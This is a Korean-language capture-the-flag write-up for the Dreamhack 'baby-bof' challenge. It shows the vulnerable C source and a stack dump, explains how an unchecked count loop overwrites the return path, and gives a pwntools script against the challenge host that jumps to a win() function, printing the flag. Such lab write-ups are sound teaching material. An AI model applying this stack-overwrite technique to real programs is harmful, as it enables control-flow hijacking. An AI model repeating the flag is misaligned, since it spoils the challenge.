baby-bof
1. Prob
Simple pwnable 101 challenge
Q. What is Return Address?
Q. Explain that why BOF is dangerous.
2. Analysis
문제 파일을 다운로드 하면, 바이너리 파일과 함께 C 소스코드를 함께 제공하기 때문에... 별도로 Ghidra와 같은 정적 분석 도구를 사용하여 정적 분석을 할 필요는 없다. 문제에서 Return Address가 무엇인지 물어보는 것으로 보아 Return Address를 변조하여 푸는 문제일 것으로 추측된다.
정확한 분석을 위해 제공된 소스코드를 분석해야 한다.
// gcc -o baby-bof baby-bof.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <time.h>
void proc_init ()
{
setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0);
setvbuf (stderr, 0, 2, 0);
}
void win ()
{
char flag[100] = {0,};
int fd;
puts ("You mustn't be here! It's a vulnerability!");
fd = open ("./flag", O_RDONLY);
read(fd, flag, 0x60);
puts(flag);
exit(0);
}
long count;
long value;
long idx = 0;
int main ()
{
char name[16];
// don't care this init function
proc_init ();
printf ("the main function doesn't call win function (0x%lx)!\n", win);
printf ("name: ");
scanf ("%15s", name);
printf ("GM GA GE GV %s!!\n: ", name);
printf ("| addr\t\t| value\t\t|\n");
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
printf ("hex value: ");
scanf ("%lx%c", &value);
printf ("integer count: ");
scanf ("%d%c", &count);
for (idx = 0; idx < count; idx++) {
*(long*)(name+idx*8) = value;
}
printf ("| addr\t\t| value\t\t|\n");
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
return 0;
}
win 함수에서 flag 파일을 열고 그 내용을 출력한다. 따라서 Return Address와 관련 지어 생각해보면, Buffer Overflow 취약점을 찾고, Return Address의 주소를 win 함수의 주소로 바꿔서 win 함수를 실행시키는 방법을 떠올릴 것이다.
문제는 코드를 얼핏 봤을 때, Buffer Overflow가 보이지 않을 수 있다. name 배열의 크기는 16byte 이고, scanf 함수를 통해 15 byte 만큼의 입력을 받는다. 입력 값의 길이를 제한하고 있기 때문에 그 이상의 입력도 불가능하다. 그렇다면, 어디에서 Buffer Overflow 취약점이 발생하는 것일까?
보통 이런 버그는 반복문에서 뭔가 처리를 할 때 발생하더라... 먼저 아래의 코드를 살펴보자.
for (idx = 0; idx < 0x10; idx++) {
printf ("| %lx\t| %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
}
name + idx * 8 은 포인터이다. 이를 long * 으로 강제 변환시키고 참조하여 8byte 정수를 보여주고 있다. 반복문의 범위가 0부터 15이므로 120 byte 만큼 보여준다. 이는 16 byte 크기의 name 배열을 넘어 다른 영역의 데이터 까지 보여지게 된다. (우리는 이것을 Memory Leak 이라고 부른다.)
gssong@cybersecurity:~/Desktop$ ./baby-bof
the main function doesn't call win function (0x40125b)!
name: AAAABBBBAAAABBB
GM GA GE GV AAAABBBBAAAABBB!!:
| addr | value |
| 7ffcd3225b60 | 4242424241414141 |
| 7ffcd3225b68 | 42424241414141 |
| 7ffcd3225b70 | 7ffcd3225c10 |
| 7ffcd3225b78 | 710d0282a1ca |
| 7ffcd3225b80 | 7ffcd3225bc0 |
| 7ffcd3225b88 | 7ffcd3225c98 |
| 7ffcd3225b90 | 100400040 |
| 7ffcd3225b98 | 401325 |
| 7ffcd3225ba0 | 7ffcd3225c98 |
| 7ffcd3225ba8 | 9bac094ffe6b5113 |
| 7ffcd3225bb0 | 1 |
| 7ffcd3225bb8 | 0 |
| 7ffcd3225bc0 | 403e18 |
| 7ffcd3225bc8 | 710d02c05000 |
| 7ffcd3225bd0 | 9bac094ff14b5113 |
| 7ffcd3225bd8 | 864faa0e05495113 |
hex value: ab
integer count: 3
| addr | value |
| 7ffcd3225b60 | ab |
| 7ffcd3225b68 | ab |
| 7ffcd3225b70 | ab |
| 7ffcd3225b78 | 710d0282a1ca |
| 7ffcd3225b80 | 7ffcd3225bc0 |
| 7ffcd3225b88 | 7ffcd3225c98 |
| 7ffcd3225b90 | 100400040 |
| 7ffcd3225b98 | 401325 |
| 7ffcd3225ba0 | 7ffcd3225c98 |
| 7ffcd3225ba8 | 9bac094ffe6b5113 |
| 7ffcd3225bb0 | 1 |
| 7ffcd3225bb8 | 0 |
| 7ffcd3225bc0 | 403e18 |
| 7ffcd3225bc8 | 710d02c05000 |
| 7ffcd3225bd0 | 9bac094ff14b5113 |
| 7ffcd3225bd8 | 864faa0e05495113 |
위의 실행 결과만 봐도... Buffer Overflow가 어디서 발생하는지 당연히 알 것이라 생각한다. 그래도 부연 설명 차원에서 설명을 계속 하자면... 우리가 새로 덮어 쓸 값 value 와, count 값을 입력 받고, 반복문으로 해당 값 만큼 8 byte 씩 value 로 수정한다. 여기서 count 변수의 값이 2를 초과하는 값일 경우, name 의 16 byte를 넘어서 값이 수정된다. 따라서 Buffer Overflow 가 발생하게 된다. 실제로 위의 실행 결과에서 name 에 입력한 데이터는 'AAAABBBBAAAABBB' 이다. 그리고 이 데이터는 각각 0x7ffcd3225b60 번지 메모리 주소부터 위치한다. 현재 count가 3 이기 때문에 Buffer Overflow 가 발생하여 다른 영역을 침범하여 새로운 value 값인 0xab로 값이 덮여진 것을 볼 수 있다.
Buffer Overflow 취약점이 어떻게 발생하는지 알았으니... Return Address 를 어떻게 win 함수로 덮을 수 있을지 생각해보자. 먼저 gdb를 사용하여 Return Address가 어떠한 값인지 살펴봐야 한다. 물론 당연히 Leak 되도록 설계되었을 것이나.. 만약이란 없으므로 동적 분석을 수행한다.
00:0000│ rsp 0x7fffffffe200 ◂— 0xcccccccc
... ↓ 2 skipped
03:0018│+008 0x7fffffffe218 —▸ 0x7ffff7c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
04:0020│+010 0x7fffffffe220 —▸ 0x7fffffffe260 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
05:0028│+018 0x7fffffffe228 —▸ 0x7fffffffe338 —▸ 0x7fffffffe5b8 ◂— '/home/gssong/Desktop/baby-bof'
06:0030│+020 0x7fffffffe230 ◂— 0x100400040 /* '@' */
07:0038│+028 0x7fffffffe238 —▸ 0x401325 (main) ◂— endbr64
main 함수가 종료되는 과정을 잘 안다면, pwndbg를 사용하여 디버깅을 하는 과정에서 main 함수의 Return Address를 금방 확인할 수 있다. main 함수가 종료될 때, _dl_fini 함수 내부에서 .fini_array 섹션을 호출하는데, .fini_array 배열에 들어 있는 __do_global_dtors_aux 함수를 호출하게된다. main 함수 종료 과정은 추후에 자세하게 다루도록 하겠다.
결국 저 그림에서 0x403e18이 main 함수의 Return 을 위한 Address 인 셈이다.
3. Payload
문제 풀이는 크게 어렵지 않다, main 함수의 return address 위치를 알고 있기 때문에 해당 값을 win 함수의 주소로 바꿔주면 된다.
from pwn import*
import re
p = remote('host3.dreamhack.games', 20847)
win_addr = re.search(rb'0x[0-9a-fA-F]+', p.recvline())
win_addr = win_addr.group().decode()
p.recvuntil(b'name: ')
p.sendline(b'AAAA')
p.recvuntil(b'value: ')
p.sendline(win_addr)
p.recvuntil(b'count: ')
p.sendline(b'15')
p.interactive()
python baby-bof_ex.py
[+] Opening connection to host3.dreamhack.games on port 20847: Done
/home/gssong/Desktop/baby-bof_ex.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(win_addr)
[*] Switching to interactive mode
| addr | va
| 7ffd10eda700 | 40125b |
| 7ffd10eda708 | 40125b |
| 7ffd10eda710 | 40125b |
| 7ffd10eda718 | 40125b |
| 7ffd10eda720 | 40125b |
| 7ffd10eda728 | 40125b |
| 7ffd10eda730 | 40125b |
| 7ffd10eda738 | 40125b |
| 7ffd10eda740 | 40125b |
| 7ffd10eda748 | 40125b |
| 7ffd10eda750 | 40125b |
| 7ffd10eda758 | 40125b |
| 7ffd10eda760 | 40125b |
| 7ffd10eda768 | 40125b |
| 7ffd10eda770 | 40125b |
| 7ffd10eda778 | d277a250b84c12f5 |
You mustn't be here! It's a vulnerability!
DH{62228e6f20a8b71372f0eceb51537c7f94b8191651ea0636ed4e48857c5b340c}